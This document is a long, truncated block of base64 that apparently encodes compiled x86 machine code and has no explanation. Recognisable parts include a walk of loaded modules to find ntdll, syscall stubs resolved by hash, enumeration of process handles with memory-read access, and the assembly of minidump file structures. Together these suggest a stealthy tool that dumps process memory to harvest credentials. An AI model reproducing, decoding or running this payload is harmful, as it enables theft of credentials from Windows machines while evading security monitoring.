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WcAABmx0WeAABmx0WgAADGRaIAxkWjAYtF8IsAiUWki0XsiwCJRaiLRegPtwAPt8CJRayLReSLAIlFsMdFtAAAAABmx0W4AABmx0W6AADHRbwAAAAAx0XAAAAAAMdFxAAAAADHRcgAAAAAx0XMAAAAAMdF0AAAAADHRZg4AAAAx4Vg////AAAAAMeFZP///wAAAADHhWj///8AAAAAx4Vs////AAAAAMeFcP///wAAAADHhXT///8AAAAAx4V4////AAAAAMeFfP///wAAAADHRYAAAAAAx0WEAAAAAMdFiAAAAADHRYwAAAAAx0WQAAAAAMdFlAAAAADHRdwAAAAAjZVg////i0XcAcIPt0WcZokCg0XcAo2VYP///4tF3AHCD7dFnmaJAoNF3AKNlWD///+LRdwBwg+3RaBmiQKDRdwCjZVg////i0XcAcIPtkWiiAKDRdwBjZVg////i0XcAcIPtkWjiAKDRdwBjZVg////i0XcAcKLRaSJAoNF3ASNlWD///+LRdwBwotFqIkCg0XcBI2VYP///4tF3AHCi0WsiQKDRdwEjZVg////i0XcAcKLRbCJAoNF3ASNlWD///+LRdwBwotFtIkCg0XcBI2VYP///4tF3AHCD7dFuGaJAoNF3AKNlWD///+LRdwBwg+3RbpmiQKDRdwCjZVg////i0XcAcKLRbyJAoNF3ASNlWD///+LRdwBwotFwIkCg0XcBI2VYP///4tF3AHCi0XEiQKDRdwEjZVg////i0XcAcKLRciJAoNF3ASNlWD///+LRdwBwotFzIkCg0XcBI2VYP///4tF3AHCi0XQiQKLRQiLQAiJhVz///+LRZiJRCQIjYVg////iUQkBItFCIkEJOgc+f//hcB1CrgAAAAA6eYAAADHRCQMBAAAAI1FmIlEJAjHRCQEJAAAAItFCIkEJOi6+P//x0QkDAQAAACNhVz///+JRCQIx0QkBCgAAACLRQiJBCTolfj//4tFCItACImFWP///4tF4A+3AA+3wImFVP///8dEJAgEAAAAjYVU////iUQkBItFCIkEJOiP+P//hcB1B7gAAAAA61yLReAPtwAPt9CLReCLQASJVCQIiUQkBItFCIkEJOhi+P//hcB1B7gAAAAA6y+LhVz///+NUBjHRCQMBAAAAI2FWP///4lEJAiJVCQEi0UIiQQk6Pv3//+4AQAAAIt9/MnDVYnlV1ZTgexcAQAAjUWUuyDwQAC6EgAAAInHid6J0fOli0UIiwDHRCQMAQAAAMdEJAgSAAAAjVWUiVQkBIkEJOge2///iUXgg33gAHUKuAAAAADphAUAAItF4IlF5MdFkAAAAADp1QAAAItFkIPAAYlFkItFCItQCItF5ImQFAEAAItF5IPAFMdEJAQAAQAAiQQk6PQuAACJhRj///+LhRj///+DwAGJhRj///+LhRj///8BwImFGP///8dEJAgEAAAAjYUY////iUQkBItFCIkEJOhL9///hcB1HItF4IkEJOiNw///x0XgAAAAALgAAAAA6eQEAACLhRj///+LVeSDwhSJRCQIiVQkBItFCIkEJOgM9///hcB1HItF4IkEJOhOw///x0XgAAAAALgAAAAA6aUEAACLReSLAIlF5IN95AAPhSH///+LRQiLQAiJRYzHRCQIBAAAAI1FkIlEJASLRQiJBCTot/b//4XAdRyLReCJBCTo+cL//8dF4AAAAAC4AAAAAOlQBAAAx4Ug////AAAAAI2VJP///7gAAAAAuRoAAACJ1/Ori0XgiUXk6cQDAACNlaj+//+4AAAAALkcAAAAidfzq4tF5ItQDItACLoAAAAAiYWo/v//iZWs/v//i0Xki0AQiYWw/v//i0Xki4AcAQAAiYW0/v//i0Xki4AYAQAAiYW4/v//i0Xki4AUAQAAiYW8/v//x4XA/v//AAAAAMeFxP7//wAAAADHhcj+//8AAAAAx4XM/v//AAAAAMeF0P7//wAAAADHhdT+//8AAAAAx4XY/v//AAAAAMeF3P7//wAAAADHheD+//8AAAAAx4Xk/v//AAAAAMeF6P7//wAAAADHhez+//8AAAAAx4Xw/v//AAAAAMeF9P7//wAAAADHhfj+//8AAAAAx4X8/v//AAAAAMeFAP///wAAAADHhQj///8AAAAAx4UM////AAAAAMeFEP///wAAAADHhRT///8AAAAAx0XcAAAAAI2VIP///4tF3I0MAouFqP7//4uVrP7//4kBiVEEg0XcCI2VIP///4tF3AHCi4Ww/v//iQKDRdwEjZUg////i0XcAcKLhbT+//+JAoNF3ASNlSD///+LRdwBwouFuP7//4kCg0XcBI2VIP///4tF3AHCi4W8/v//iQKDRdwEjZUg////i0XcAcKLhcD+//+JAoNF3ASNlSD///+LRdwBwouFxP7//4kCg0XcBI2VIP///4tF3AHCi4XI/v//iQKDRdwEjZUg////i0XcAcKLhcz+//+JAoNF3ASNlSD///+LRdwBwouF0P7//4kCg0XcBI2VIP///4tF3AHCi4XU/v//iQKDRdwEjZUg////i0XcAcKLhdj+//+JAoNF3ASNlSD///+LRdwBwouF3P7//4kCg0XcBI2VIP///4tF3AHCi4Xg/v//iQKDRdwEjZUg////i0XcAcKLheT+//+JAoNF3ASNlSD///+LRdwBwouF6P7//4kCg0XcBI2VIP///4tF3AHCi4Xs/v//iQKDRdwEjZUg////i0XcAcKLhfD+//+JAoNF3ASNlSD///+LRdwBwouF9P7//4kCg0XcBI2VIP///4tF3AHCi4X4/v//i